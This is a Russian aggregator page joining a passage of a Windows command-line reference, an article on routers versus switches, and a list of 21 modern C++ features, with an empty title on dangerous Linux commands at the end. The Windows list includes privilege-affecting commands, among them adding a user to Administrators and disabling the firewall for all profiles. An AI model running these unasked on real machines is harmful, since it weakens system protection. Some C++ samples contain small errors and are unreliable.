  • net localgroup — управляет локальными группами пользователей.
  • net localgroup Administrators UserName /add — добавляет пользователя в группу администраторов.
  • whoami — выводит имя текущего пользователя и информацию о его правах.
  • runas — позволяет запускать программы от имени другого пользователя. Так, runas /user:administrator cmd запустит CMD с правами администратора.
  • net accounts — управляет параметрами учетных записей, например, минимальной длиной пароля и периодом его действия.
  • gpupdate — обновляет групповые политики на локальном компьютере, что полезно для администраторов, управляемых сетей.
  • taskview — открывает таймлайн Windows, показывая историю активности пользователя, полезно для управления и поиска ранее использованных файлов и приложений.
  • msg — отправляет сообщение пользователям, подключенным к системе. Пример: msg «Система будет перезагружена через 5 минут» отправит сообщение всем пользователям.

Команды для управления безопасностью

Команды для управления безопасностью предназначены для обеспечения защиты данных и управления доступом к файлам и системным ресурсам, что позволяет шифровать файлы, проверять целостность системных файлов и управлять правами доступа.

  • cipher — управляет шифрованием файлов на дисках NTFS.
  • cipher/e — зашифровывает файлы в указанной директории.
  • sfc — проверяет целостность системных файлов и автоматически восстанавливает их при обнаружении повреждений.
  • sfc /verifyonly — проверяет системные файлы на наличие повреждений, но не исправляет их автоматически.
  • sfc /scannow — выполняет полную проверку системы.
  • cacls — изменяет права доступа к файлам. Пример: cacls file.txt /g UserName:F даст пользователю полный доступ к файлу.
  • icacls — расширяет возможности команды cacls и предоставляет дополнительные параметры для управления правами доступа.
  • takeown — позволяет взять владение файлом или директорией. Так, takeown /f file.txt предоставит доступ к файлам.
  • attrib — изменяет атрибуты файлов и папок. Например, attrib +r file.txt сделает файл доступным только для чтения.

Команды для диагностики и устранения неполадок

Команды из раздела помогают находить и устранять неполадки в системе, восстанавливать загрузочные параметры и проверять целостность данных на диске, а также они позволяют решать проблемы, связанные с запуском операционной системы или со сбоями на уровне файловой системы. 

  • chkdsk — проверяет диск на наличие ошибок и исправляет их. Так, chkdsk C: /f выполнит проверку диска C.
  • bootrec — восстанавливает загрузочный сектор. 
  • bcdedit — управляет параметрами загрузки системы. 
  • bcdedit /set {current} safeboot minimal — включает безопасный режим.

Команды для скриптинга и автоматизации

Команды, приведенные ниже, предназначены для создания сложных сценариев выполнения команд, что позволяет автоматизировать повседневные задачи и более эффективно управлять процессами. 

  • for — создает цикл для выполнения команд. Например, for %i in (1 2 3) do echo %i выведет числа 1, 2, 3.
  • if — выполняет условное выполнение команд.
  • goto — перенаправляет выполнение скрипта к определенной метке.
  • call — вызывает другую команду или скрипт.

Команды для управления сетевыми подключениями

Команды для управления сетевыми подключениями предоставляют возможности для настройки, диагностики и оптимизации сетевых параметров и соединений, позволяя управлять IP-адресами, подключаться и отключаться от сетей.

  • ipconfig /release — освобождает текущий IP-адрес, назначенный DHCP сервером, что позволяет при необходимости сбросить сетевое подключение.
  • ipconfig /renew — обновляет IP-адрес, полученный от DHCP сервера. Часто используется после команды ipconfig /release для восстановления подключения.
  • ipconfig /flushdns — очищает кэш DNS, если изменился DNS-сервер или необходимо устранить проблемы с доступом к сайтам.
  • ipconfig /displaydns — выводит содержимое кэша DNS, часто используется для диагностики проблем с DNS.
  • netsh interface ip set address — используется для назначения статического IP-адреса сетевому интерфейсу. Пример: netsh interface ip set address Ethernet static 192.168.1.100 255.255.255.0 192.168.1.1.
  • netsh wlan show drivers — выводит информацию о драйверах беспроводной сети, что полезно при настройке Wi-Fi подключения.
  • netsh wlan show interfaces — отображает текущие активные беспроводные подключения и их параметры, например, мощность сигнала.
  • netsh wlan connect — подключает к указанной Wi-Fi сети. Для этого нужно ввести: netsh wlan connect name=MyWiFi.
  • netsh wlan disconnect — отключает текущее беспроводное подключение.
  • netsh advfirewall set allprofiles state — управляет состоянием брандмауэра Windows – netsh advfirewall set allprofiles state off отключает брандмауэр для всех профилей.
  • netsh int ip reset — сбрасывает настройки IP стека (TCP/IP) к значениям по умолчанию, помогая при сетевых неполадках.
  • route add — добавляет маршрут в таблицу маршрутизации. Например, route add 192.168.2.0 mask 255.255.255.0 192.168.1.1 добавит маршрут для подсети 192.168.2.0 через шлюз 192.168.1.1.
  • route delete — удаляет указанный маршрут из таблицы маршрутизации.
  • netsh interface show interface — выводит список всех сетевых интерфейсов в системе, включая их состояние и тип.
  • net view — отображает список компьютеров в локальной сети – net view \\server покажет общие ресурсы на указанном сервере.
  • net use /delete — удаляет существующее подключение к сетевому ресурсу. Так, net use Z: /delete отключает сетевой диск Z:.
  • ftp — открывает FTP-клиент для передачи файлов между локальной и удаленной системами. Например, по команде ftp ftp.example.com ПК подключится к FTP-серверу.
  • telnet — используется для подключения к удаленным системам через Telnet-протокол. Так, telnet example.com 23 подключит ПК к серверу на порту 23.
  • getmac — выводит MAC-адреса всех сетевых интерфейсов компьютера.

Команды для управления печатью

В этом разделе команды для управления печатью позволяют эффективно управлять процессом печати (включая очередью на печать), настройками принтеров и заданиями на печать. 

  • print — отправляет файл на печать. Например, print C:\Documents\file.txt отправит текстовый файл на принтер по умолчанию.
  • rundll32 printui.dll,PrintUIEntry — открывает диалоговое окно для установки или управления принтерами – rundll32 printui.dll,PrintUIEntry /in /n\\server\printer установит сетевой принтер.
  • net print — отображает список заданий на печать – net print \\server\printer покажет очередь печати на указанном принтере.
  • net stop spooler — останавливает службу диспетчера очереди печати (spooler), особенно когда требуется устранить зависшие задания печати.
  • net start spooler — запускает службу диспетчера очереди печати после её остановки.
  • wmic printer list brief — выводит список установленных принтеров с краткой информацией о каждом из них.
  • wmic printer where default=true get name — выводит имя принтера, установленного по умолчанию.
  • wmic printer where name=’PrinterName’ delete — удаляет указанный принтер из системы.
  • wmic printerconfig — отображает информацию о конфигурации принтера, включая его настройки и параметры печати.
  • cscript prnjobs.vbs — используется для управления заданиями печати через скрипт prnjobs.vbs, который можно использовать для удаления, приостановки или возобновления заданий.

Дополнительные команды в Windows

В дополнение к основным инструментам для управления системой, командная строка Windows предоставляет ряд дополнительных команд, которые расширяют возможности администрирования и диагностики. 

  • wevtutil — управляет журналами событий Windows. Например, wevtutil qe System выведет события из системного журнала.
  • tzutil — управляет настройками часовых поясов. tzutil /s Pacific Standard Time установит часовой пояс на Тихоокеанское стандартное время.
  • taskkill — завершает процесс по его PID или имени. Так, taskkill /F /PID 1234 завершит процесс с PID 1234.
  • powercfg /hibernate off — отключает режим гибернации.
  • powercfg /energy — создает отчет об использовании энергии системой.

 

Источник: https://www.computerra.ru

 


Фото

Маршрутизатор и коммутатор, в чем разница?


Маршрутизаторы и коммутаторы — сетевые устройства, позволяющие одному или нескольким девайсам подключаться к другим компьютерам, сетевым устройствам или другим сетям. Они схожи, но у них разный функционал.

Что такое маршрутизация и зачем появились маршрутизаторы

Сетевая маршрутизация — это процесс определения пути для данных (пакетов) между разными сегментами. Роутер работает на уровне L3 (сетевом), использует IP-адреса, чтобы направлять трафик туда, куда нужно. Без него невозможна связь между вашей домашней LAN, а также внешним миром.

Принципы маршрутизации могут применяться к любому типу подключения, от телефонных до общественного транспорта. В коммутации пакетов, маршрутизация выбирает пути для пакетов интернет-протокола (IP), которые будут перемещаться из их происхождения в пункт назначения. Эти решения о маршрутизации принимаются специализированным оборудованием.

Устройства ссылаются на внутренние таблицы маршрутизации для принятия решений о том, как маршрутизировать пакеты по сетевым путям. Таблица маршрутизации записывает пути, по которым должны идти пакеты, чтобы добраться до каждого пункта назначения, за который отвечает маршрутизатор. Алгоритм работы: когда роутер получает пакет, он читает заголовки, чтобы увидеть его предполагаемое место назначения. Затем он определяет, куда маршрутизировать пакет на основе информации в таблицах маршрутизации. Эта процедура выполняется миллионы раз в секунду. Пакет может обрабатываться несколькими устройствами перед доставкой.

Динамическая маршрутизация требует большей вычислительной мощности сервера, поэтому небольшие сети могут полагаться на статическую маршрутизацию. Но для средних или крупных динамическая маршрутизация гораздо эффективнее.

Протоколы маршрутизации используют метрику для определения наилучшего пути для доставки пакетов. Метрика — это стандарт измерения, такой как пропускная способность, задержка, текущая нагрузка на путь. Используемый алгоритмом маршрутизации для определения оптимального пути к месту назначения.

Коммутатор, маршрутизатор, роутер

Коммутатор (сетевой коммутатор) — это устройство, которое объединяет несколько компьютеров в одну локальную сеть. В отличие от старого хаба, он не просто ретранслирует данные, а анализирует MAC-адреса и отправляет пакеты только нужному получателю. Это делает сеть быстрее и безопаснее.

Задача коммутатора состоит в подключении всех девайсов, оборудования к локальной сети. Коммутатор выполнен в виде прямоугольного корпуса: от компактного размера (с пачку сигарет) до крупногабаритного шкафа, монтируемого в 19-дюймовую стойку. Количество портов варьируется от 5 в малых моделях до 1152 (как в Cisco Nexus 9508 в максимальной комплектации с портами 10G). Финальные габариты и возможности устройства зависят от количества портов, их скорости (1G/10G/25G/100G и выше) и компоновки. Обычно используется витая пара, реже — оптоволоконные кабели. Основной разъем — RJ45, иногда SFP и его варианты.

Работая с коммутатором, можно избежать всех хлопот по настройке сетевого подключения — компьютеров, ноутбуков, телевизоров, кодеков, игровых приставок. Проводные роутеры обеспечивают безопасную передачу данных на коммутатор. Затем отправляется информация на устройства на основе списка MAC-адресов.

 

 

Основные типы коммутаторов:

  • управляемые;
  • неуправляемые.

Неуправляемая модель работает только как узел. Этот вид хорошо подходит для жилых сетей или небольших офисов. Подключение выполняется в любом формате, так как все порты одинаковы.

Управляемые модели бывают разных уровней: L2 и L2+ — это относительно недорогие модели с ограниченным функционалом (например, базовое управление VLAN, QoS), но достаточным для многих задач. Более продвинутые управляемые коммутаторы предлагают широкие возможности настройки и подходят для построения сложных сетевых инфраструктур благодаря поддержке функций вроде L3-маршрутизации, ACL и детального мониторинга. Однако для домашнего использования такие устройства избыточны — их покупка означает неоправданную переплату за неиспользуемые возможности.

Управляемый коммутатор уровня 3 (L3) выполняет функции маршрутизатора, такие как работа с IP-адресами, а также маршрутизация между подсетями. Однако он оптимизирован для локальных сетей (LAN) и обычно работает быстрее в рамках одной сети, тогда как маршрутизатор чаще используют для соединения разных сетей (например, LAN и WAN). Разница в гибкости: у маршрутизатора больше возможностей для сложных правил (NAT, фильтрация), а L3-коммутатор эффективнее в локальном трафике.

Маршрутизатор (роутер) — более сложное устройство, которое связывает разные сети. Он подключаются к двум или более IP-сетям или подсетям и передают между ними пакеты данных. Маршрутизаторы используются в домах либо офисах для обеспечения подключения к внешней сети.Устройство работает на сетевом уровне модели OSI, одновременно функционируя на уровне протокола TCP/IP.

Более мощные модели работают по всему Интернету, помогая пакетам данных добраться до места назначения. Например, он соединяет вашу домашнюю LAN с WAN (интернетом). Он работает на уровне L3, принимает решения на основе IP-адресов, часто включая дополнительные функции: Wi-Fi, firewall, DHCP.

Функции:

  • управление трафиком путем пересылки пакетов;
  • позволяет нескольким гаджетам подключаться к одинаковой сети;
  • применяется для пересылки пакета между сетями.

Роутер — это устройство, которое распределяет доступ к внешней сети — Интернет от провайдера на множество проводных, беспроводных устройств. Он создает локальную сеть в доме. Все устройства, такие как смартфоны, телевизоры, компьютеры, а также ноутбуки, умные устройства – подключаются к роутеру, который пересылает все данные в зависимости от запроса, либо внутри локальной сети, либо же отправляет “наружу”. Внешней сетью может быть как мобильная (3g/4g/5g), спутниковая (Старлинк/полудуплексные решения от Триколора и т.д.), оптическая (xPON решения и обычный ethernet через медиаконвертеры), медь (ethernet и до сих пор используемый в деревнях adsl).

Сегодня услуги интернет-провайдеров предоставляются сетями, разбросанными по всему городу. Однако для пользователей эта сеть является внешней (глобальной), поскольку не находится в их квартирах или домах. Конечно, можно подключить кабель, проложенный поставщиком услуг подключения, непосредственно к компьютеру или ноутбуку. Но как же остальные члены семьи, которые тоже хотят пользоваться интернетом? Здесь на помощь приходят роутеры. Один из портов который, обычно называемый WAN-портом, подключает интернет-линию. У некоторых производителей этот порт выделен цветом (например, синим или голубым), но стандартного цветового обозначения нет — важно ориентироваться на подписи (WAN/Internet) или инструкцию к устройству.

 

 

А порты LAN используются для подключения нескольких компьютеров или ноутбуков по проводу. Через тот же интерфейс можно подключить множество других устройств, например, принтеры, телевизоры SMART и камеры наблюдения, в данный порт можно также подключить коммутатор, чтобы увеличить количество возможных проводных подключений или же дополнительные Wi-fi точки доступа, чтобы увеличить покрытие сети.

Задача роутера — принимать сигналы из внешней сети, создавать внутреннюю сеть между подключенными устройствами, предоставляя этим устройствам доступ в Интернет. Однако все подключенные устройства могут также обмениваться информацией внутри сети. Допустим, можно загрузить фильм на свой компьютер, а также посмотреть его на телевизоре.

Маршрутизатор и роутер — это одинаковые понятия. 

Термин «роутер» — это англицизм (от router), а «маршрутизатор» — русский аналог. Оба термина обозначают устройство, которое пересылает данные между сетями, будь то домашняя Wi-Fi-сеть или корпоративная инфраструктура. В быту маршрутизатор часто называют роутером, особенно если речь идет о компактном устройстве с антеннами, раздающем беспроводной интернет. Техподдержка может использовать оба слова, но суть не меняется: это устройство, обеспечивающее подключение к сети. Разницы в функционале нет, отличие лишь в происхождении терминов.

Основные функции

Коммутатор обеспечивает быстрое соединение внутри одной сети. Его ключевые задачи — минимизация коллизий, а также эффективная передача данных между устройствами. Современные модели поддерживают VLAN, агрегацию портов и QoS.

Маршрутизатор же отвечает за связь между сетями. Он не только направляет трафик, но может преобразовывать адреса (NAT), фильтровать пакеты (firewall). В домашних условиях роутер часто работает, также как коммутатор, имея несколько LAN-портов.

Разница между коммутатором и маршрутизатором

Главное отличие — в их назначении. Коммутатор работает внутри одной сети, используя MAC-адреса, а маршрутизатор соединяет несколько сетей, оперируя IP-адресами.

Маршрутизаторы выбирают пути для пакетов данных для кросс-сетей, достигая своих пунктов назначения. Они делают это, подключаясь к различным сетям, пересылая данные из сети в сеть. Учитываются также локальные, глобальные сети (WAN) или автономные системы. Последние являются крупными сетями, составляющими Интернет.

Это означает, что маршрутизаторы необходимы для подключения к Интернету, а коммутаторы требуются только для соединения устройств. Зачастую не нужен коммутатор, если только не нужно много портов Ethernet. Коммутаторы нужны в крупных офисах, сетях, а также центрах обработки данных с десятками или сотнями компьютеров.

 

Основное отличие:

  • если вам нужно объединить компьютеры в офисе — берем коммутатор;
  • если требуется подключить сеть к интернету — нужен маршрутизатор.

Где используется маршрутизатор и коммутатор?

Маршрутизатор встречается везде, где есть выход в интернет: дома, в офисах, дата-центрах. Он также применяется для разграничения подсетей и балансировки нагрузки.

Коммутатор используется там, где нужно создать быструю локальную сеть: в офисах (для подключения ПК, принтеров, IP-камер), на предприятиях, в серверных. Управляемые модели позволяют гибко настраивать трафик.

Как подключиться к маршрутизатору и коммутатору?

Большинство современных роутеров настраиваются через веб-интерфейс. Достаточно подключиться к сети (по Wi-Fi или кабелю), ввести в браузере IP-адрес (например, 192.168.1.1), далее авторизоваться.

Коммутаторы (особенно управляемые) можно настроить через веб-интерфейс, SSH или консольный порт. Последний вариант часто используется в профессиональной среде, так как позволяет восстановить доступ даже при сбоях.

Базовые настройки маршрутизатора и коммутатора

Для маршрутизатора важно:

  • настроить подключение к провайдеру (PPPoE, DHCP, статический IP);
  • включить DHCP, чтобы устройства получали адреса автоматически;
  • установить пароль на Wi-Fi и выбрать оптимальный режим шифрования.

Для коммутатора основные настройки включают:

  • создание VLAN для разделения трафика;
  • настройку агрегации портов (LACP) для увеличения пропускной способности;
  • управление QoS для приоритезации важного трафика (например, VoIP).

Современные тенденции: L2 и L3 коммутаторы

Традиционные коммутаторы L2 работают только с MAC-адресами, не умеют маршрутизировать трафик. Но сейчас популярны L3-коммутаторы, которые сочетают функции коммутации, маршрутизации. Они быстрее классических роутеров в локальных сетях, чаще используются в корпоративных решениях.

Еще более продвинутые модели — Multilayer Switch (L3+), которые поддерживают сложные политики маршрутизации и ACL. Они стирают грань между коммутатором и маршрутизатором, предлагая гибридные возможности.

Итак, маршрутизатор и коммутатор — это разные устройства для разных задач. Если вам нужно подключиться к интернету и управлять трафиком между сетями — выбирайте маршрутизатор. Если для быстрой и стабильной локальной сети выбирайте коммутатор.

Современные тенденции размывают границы: появляются L3-коммутаторы, а роутеры обрастают дополнительными функциями. Но понимание основных отличий поможет вам правильно выбрать оборудование и настроить эффективную сеть.

 

Источник:  https://cloud4box.com

 

 


Фото

21 фича современного C++


В этой статье вашему вниманию будут представлены 21 новая фича современного C++, которые помогут сделать ваш проект лучше, а работу над ним легче.

1. Разделители разрядов чисел

 

int no = 1'000'000;                      // визуальное разделение единиц, тысяч, миллионов и т.д.
long addr = 0xA000'EFFF;                 // визуальное разделение 32-битного адреса на
uint32_t binary = 0b0001'0010'0111'1111; // удобочитаемые сегменты

  • Раньше вам нужно было считать цифры или нули, но, начиная с C++14, вы можете сделать большие числа намного нагляднее.

  • Эта фича помогает облегчить навигацию по словам и цифрам. Или, допустим, вы можете повысить читаемость номера кредитной карты или социального страхования.

  • Благодаря сгруппированным разрядам, ваш код станет немного выразительнее.

 

2. Псевдонимы типов

 

template <typename T>
using dyn_arr = std::vector<T>;
dyn_arr<int> nums; // эквивалентно std::vector<int>

using func_ptr = int (*)(int);

  • Семантически похоже на использование typedef, однако псевдонимы типов легче читаются и совместимы с шаблонами С++. Поблагодарите С++11.

 

3. Пользовательские литералы

 

using ull = unsigned long long;

constexpr ull operator"" _KB(ull no)
{
    return no * 1024;
}

constexpr ull operator"" _MB(ull no)
{
    return no * (1024_KB);
}

cout<<1_KB<<endl;
cout<<5_MB<<endl;

  • По большей части это будут какие-нибудь реальные единицы, такие как kb, mb, км, см, рубли, доллары, евро и т.д. Пользовательские литералы позволяют вам не определять функции, для выполнения преобразования единиц измерения во время выполнения, а работать с ним как с другими примитивными типами.

  • Очень удобно для единиц и измерения.

  • Благодаря добавлению constexpr вы можете добиться нулевого влияния на производительность во время выполнения, что мы увидим позже в этой статье, и более подробно вы можете почитать об этом в другой статье, которую я написал, — “Использование const и constexpr в С++”.

 

4. Унифицированная инициализация и инициализация нестатических членов

 

Раньше вам нужно было инициализировать поля их значениями по умолчанию в конструкторе или в списке инициализации. Но начиная с C++11 можно задавать обычным переменным-членам класса (тем, которые не объявлены с ключевым словом static) инициализирующее значение по умолчанию, как показано ниже:

class demo
{
private:
    uint32_t m_var_1 = 0;
    bool m_var_2 = false;
    string m_var_3 = "";
    float m_var_4 = 0.0;

public:
    demo(uint32_t var_1, bool var_2, string var_3, float var_4)
        : m_var_1(var_1),
          m_var_2(var_2),
          m_var_3(var_3),
          m_var_4(var_4) {}
};

demo obj{123, true, "lol", 1.1};

  • Это особенно полезно, когда в качестве полей выступают сразу несколько вложенных объектов, определенных, как показано ниже:

class computer
{
private:
    cpu_t           m_cpu{2, 3.2_GHz};
    ram_t           m_ram{4_GB, RAM::TYPE::DDR4};
    hard_disk_t     m_ssd{1_TB, HDD::TYPE::SSD};

public:
    // ...
};

  • В этом случае вам не нужно инициализировать их в списке инициализации. Вместо этого вы можете напрямую указать значение по умолчанию во время объявления.

class X
{
    const static int m_var = 0;
};

// int X::m_var = 0; // не требуется для статических константных полей

  • Вы также можете инициализировать во время объявления const static члены класса, как показано выше.

 

5. std::initializer_list

 

std::pair<int, int> p = {1, 2};
std::tuple<int, int> t = {1, 2};
std::vector<int> v = {1, 2, 3, 4, 5};
std::set<int> s = {1, 2, 3, 4, 5};
std::list<int> l = {1, 2, 3, 4, 5};
std::deque<int> d = {1, 2, 3, 4, 5};

std::array<int, 5> a = {1, 2, 3, 4, 5};

// Не работает для адаптеров
// std::stack<int> s = {1, 2, 3, 4, 5};
// std::queue<int> q = {1, 2, 3, 4, 5};
// std::priority_queue<int> pq = {1, 2, 3, 4, 5};

  • Присваивайте значения контейнерам непосредственно с помощью списка инициализаторов, как это можно делать с C-массивами.

  • Это справедливо и для вложенных контейнеров. Скажите спасибо С++11.

 

6. auto & decltype

 

auto a = 3.14; // double
auto b = 1; // int
auto& c = b; // int&
auto g = new auto(123); // int*
auto x; // error -- `x` requires initializer

  • auto-типизированные переменные выводятся компилятором на основе типа их инициализатора.

  • Чрезвычайно полезно с точки зрения удобочитаемости, особенно для сложных типов:

// std::vector<int>::const_iterator cit = v.cbegin();
auto cit = v.cbegin(); // альтернатива

// std::shared_ptr<vector<uint32_t>> demo_ptr(new vector<uint32_t>(0);
auto demo_ptr = make_shared<vector<uint32_t>>(0); // альтернатива

  • Функции также могут выводить тип возвращаемого значения с помощью auto. В C++11 тип возвращаемого значения должен быть указан либо явно, либо с помощью decltype, например:

template <typename X, typename Y>
auto add(X x, Y y) -> decltype(x + y)
{
    return x + y;
}
add(1, 2);     // == 3
add(1, 2.0);   // == 3.0
add(1.5, 1.5); // == 3.0

  • Приведенная выше форма определения возвращаемого типа называется trailing return type, т.е. -> return-type.

 

7. Циклы for по диапазону

 

  • Синтаксический сахар для перебора элементов контейнера.

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int& x : a) x *= 2;
// a == { 2, 4, 6, 8, 10 }

  • Обратите внимание на разницу при использовании int в противовес int&:

std::array<int, 5> a {1, 2, 3, 4, 5};
for (int x : a) x *= 2;
// a == { 1, 2, 3, 4, 5 }

 

8. Умные указатели

 

  • C++11 добавляет в язык новые умные указатели: std::unique_ptr, std::shared_ptr, std::weak_ptr.

  • А std::auto_ptr устарел, и в конечном итоге удален в C++17.

std::unique_ptr<int> i_ptr1{new int{5}}; // Не рекомендуется 
auto i_ptr2 = std::make_unique<int>(5);  // Так лучше

template <typename T>
struct demo
{
    T m_var;

    demo(T var) : m_var(var){};
};

auto i_ptr3 = std::make_shared<demo<uint32_t>>(4);

  • Гайдлайны ISO CPP рекомендуют избегать явных вызовов new и delete, выразив это в правиле “никаких голых new”.

 

9. nullptr

 

  • C++11 добавил новый тип пустого указателя, предназначенный для замены макроса C NULL.

  • nullptr имеет тип std::nullptr_t и может быть неявно преобразован в типы непустых указателей, и в отличие от NULL, не конвертируем в целочисленные типы, за исключением bool.

void foo(int);
void foo(char*);
foo(NULL); // ошибка -- неоднозначность
foo(nullptr); // вызывает foo(char*)

 

10. Строго типизированные перечисления

 

enum class STATUS_t : uint32_t
{
    PASS = 0,
    FAIL,
    HUNG
};

STATUS_t STATUS = STATUS_t::PASS;
STATUS - 1; // больше не валидно, начиная с C++11

  • Типобезопасные перечисления, которые решают множество проблем с C-перечислениями, включая неявные преобразования, арифметические операции, невозможность указать базовый тип, загрязнение области видимости и т.д.

 

11. Приведение типов

 

  • Приведение в стиле C изменяет только тип, не затрагивая сами данные. В то время как старый C++ имел небольшой уклон в типобезопасность, он предоставлял фичу указания оператора/функции преобразования типа. Но это было неявное преобразование типов. Начиная с C++11, функции преобразования типов теперь можно сделать явными с помощью спецификатора explicit следующим образом:

struct demo
{
    explicit operator bool() const { return true; }
};

demo d;
if (d);                             // OK, вызывает demo::operator bool()
bool b_d = d;                       // ОШИБКА: не может преобразовать 'demo' в 'bool' во время инициализации
bool b_d = static_cast<bool>(d);    // OK, явное преобразование, вы знаете, что делаете

 

 

12. Move-семантика

 

  • Когда объект будет уничтожен или не будет более использоваться после выполнения выражения, целесообразнее переместить (move) ресурс, а не копировать его.

  • Копирование включает в себя ненужные накладные расходы, такие как выделение памяти, высвобождение и копирование содержимого памяти и т.д.

  • Рассмотрим следующую функцию, меняющую местами два значения:

template <class T>
swap(T& a, T& b) {
    T tmp(a);   // теперь у нас есть две копии a
    a = b;      // теперь у нас есть две копии b (+ отброшена копия a)
    b = tmp;    // теперь у нас есть две копии tmp (+ отброшена копия b)
}

  • Использование move позволяет вам напрямую обменивать ресурсы вместо их копирования:

template <class T>
swap(T& a, T& b) {
    T tmp(std::move(a));
    a = std::move(b);   
    b = std::move(tmp);
}

  • А теперь представьте, что происходит, когда Т это, скажем, vector<int> размера n. И n достаточно велико.

  • В первой версии вы читаете и записываете 3*n элементов, во второй версии вы в по сути читаете и записываете только 3 указателя на буферы векторов плюс 3 размера буферов.

  • Конечно, класс Т должен знать, как ему перемещаться; ваш класс должен иметь оператор присваивания перемещением и конструктор перемещения для класса Т, чтобы это работало.

  • Эта фича даст вам значительный прирост в производительности — именно то, поэтому люди используют C++ (т.е., чтобы выжать последние 2-3 капли скорости).

 

13. Универсальные ссылки

 

  • В официальной терминологии известные как forwarding references (передаваемые ссылки). Универсальная ссылка объявляется с помощью синтаксиса Т&&, где Т является шаблонным параметром типа, или с помощью auto&&. Они в свою очередь служат фундаментом для двух других крупных фич:

    • move-семантика

    • И perfect forwarding, возможность передавать аргументы, которые являются либо lvalue, либо rvalue.

Универсальные ссылки позволяют ссылаться на привязку либо к lvalue, либо к rvalue в зависимости от типа. Универсальные ссылки следуют правилам свертывания ссылок:

  1. T& & становится  T&  

  2. T& && становится T&

  3. T&& & становится T&

  4. T&& && становится T&&

Вывод шаблонного параметра типа с lvalue ​​и rvalue:

// Начиная с C++14 и далее:
void f(auto&& t) {
  // ...
}

// Начиная с C++11 и далее:
template <typename T>
void f(T&& t) {
  // ...
}

int x = 0;
f(0); // выводится как f(int&&)
f(x); // выводится как f(int&)

int& y = x;
f(y); // выводится как f(int& &&) => f(int&)

int&& z = 0; // ПРИМЕЧАНИЕ: z — это lvalue типа int&amp;&amp;.
f(z); // выводится как f(int&& &) => f(int&)
f(std::move(z)); // выводится как f(int&& &&) => f(int&&)

 

 

14. Шаблоны с переменным количеством аргументов

 

void print() {}

template <typename First, typename... Rest>
void print(const First &first, Rest &&... args)
{
    std::cout << first << std::endl;
    print(args...);
}

print(1, "lol", 1.1);

  • Синтаксис ... создает пакет параметров или расширяет уже существующий. Шаблонный пакет параметров — это шаблонный параметр, который принимает ноль или более аргументов-шаблонов (нетипизированных объектов, типов или шаблонов). Шаблон С++ с хотя бы одним пакетом параметров называется вариативный шаблоном с переменным количеством аргументов (variadic template).

 

15. constexpr

 

constexpr uint32_t fibonacci(uint32_t i)
{
    return (i <= 1u) ? i : (fibonacci(i - 1) + fibonacci(i - 2));
}

constexpr auto fib_5th_term = fibonacci(6); // равноценно auto fib_5th_term = 8

  • Константные выражения — это выражения, вычисляемые компилятором во время компиляции. В приведенном выше примере функция fibonacci выполняется/вычисляется компилятором во время компиляции, и будет заменена на результат в вызове места.

 

16. Удаленные и дефолтные функции

 

struct demo
{
    demo() = default;
};

demo d;

  • У вас вполне закономерно может возникнуть вопрос, зачем вам писать 8+ букв (т.е. = default;), когда можно просто использовать {}, т.е. пустой конструктор? Никто вас не останавливает. Но подумай о конструкторе копирования, операторе копирования присваиванием, и т.д.

  • Пустой конструктор копирования, например, не то же самое, что конструктор копирования по умолчанию (который будет выполнять почленную копию всех членов).

Вы можете ограничить определенную операцию или способ инстанцирования объекта, просто удалив соответствующий метод, как показано ниже:

class demo
{
    int m_x;

public:
    demo(int x) : m_x(x){};
    demo(const demo &) = delete;
    demo &operator=(const demo &) = delete;
};

demo obj1{123};
demo obj2 = obj1; // ОШИБКА -- вызов удаленного конструктора копирования
obj2 = obj1;      // ОШИБКА -- оператор = удален

В старом С++ вы должны были сделать его приватным. Но теперь в вашем распоряжении есть директива компилятора delete.

 

 

17. Делегирование конструкторов

 

struct demo
{
    int m_var;
    demo(int var) : m_var(var) {}
    demo() : demo(0) {}
};

demo d;

  • В старом C++ вам нужно создавать функцию-член для  инициализации и вызывать ее из всех конструкторов для достижения универсально инициализации.

  • Но начиная с C++11 конструкторы теперь могут вызывать другие конструкторы из того же класса с помощью списка инициализаторов.

 

18. Лямбда-выражения

 

auto generator = [i = 0]() mutable { return ++i; };
cout << generator() << endl; // 1
cout << generator() << endl; // 2
cout << generator() << endl; // 3

  • Я думаю, что эта фича не нуждается в представлении и является фаворитом среди других фич.

  • Теперь вы можете объявлять функции где угодно. И это не будет стоить вам никаких дополнительных накладных расходов. 

 

19. Операторы ветвления с инициализатором

 

  • В более ранних версиях C++ инициализатор либо объявлялся перед оператором и просачивался во внешнюю область видимости, либо использовалась явная область видимости.

  • В C++17 появилась новая форма if/switch, которую можно записать более компактно, а улучшенный контроль области видимости делает некоторые ранее подверженные ошибкам конструкции немного более надежными:

switch (auto STATUS = window.status()) // Объявляем объект прямо в операторе ветвления
{
case PASS:// делаем что-то
    break;
case FAIL:// делаем что-то
    break;
}

  • Как это работает

{
    auto STATUS = window.status();
    switch (STATUS)
    {
    case PASS: // делаем что-то
        break;
    case FAIL: // делаем что-то
        break;
    }
}

 

20. std::tuple

 

auto employee = std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
cout << std::get<0>(employee) << endl; // 32
cout << std::get<1>(employee) << endl; // "Vishal Chovatiya"
cout << std::get<2>(employee) << endl; // "Bangalore"

  • Кортежи представляют собой набор разнородных значений фиксированного размера. Доступ к элементам std::tuple производится с помощью std::tie или std::get.

  • Вы также можете выхватывать произвольные и разнородные возвращаемые значения следующим образом:

auto get_employee_detail()
{
    // делаем что-нибудь . . . 
    return std::make_tuple(32, " Vishal Chovatiya", "Bangalore");
}

string name;
std::tie(std::ignore, name, std::ignore) = get_employee_detail();

  • Используйте std::ignore в качестве плейсхолдера для игнорируемых значений. В С++ 17, вместо этого следует использовать структурированные привязки.

 

21. Выведение аргумента шаблона класса

 

std::pair<std::string, int> user = {"M", 25}; // раньше
std::pair user = {"M", 25};                   // C++17

std::tuple<std::string, std::string, int> user("M", "Chy", 25); // раньше
std::tuple user2("M", "Chy", 25);                               // выведение в действии!

  • Автоматическое выведение аргументов шаблона очень похоже на то, как это делается для функций, но теперь также включает и конструкторы классов.

 

Пара слов в заключение 

 

Здесь мы только слегка коснулись огромного набора новых фич и возможности их применения. В современном C++ можно найти еще очень много чего, но тем не менее вы можете считать этот набор хорошей отправной точкой. Современный C++ расширяется не только с точки зрения синтаксиса, но также добавляется гораздо больше других функций, таких как неупорядоченные контейнеры, потоки, регулярное выражение, Chrono, генератор/распределитель случайных чисел, обработка исключений и множество новых алгоритмов STL (например, all_of(), any_of(), none_of(), и т.д).

Да пребудет с вами C++!
Фото

10 опасных команд Linux, будьте с ними осторожны


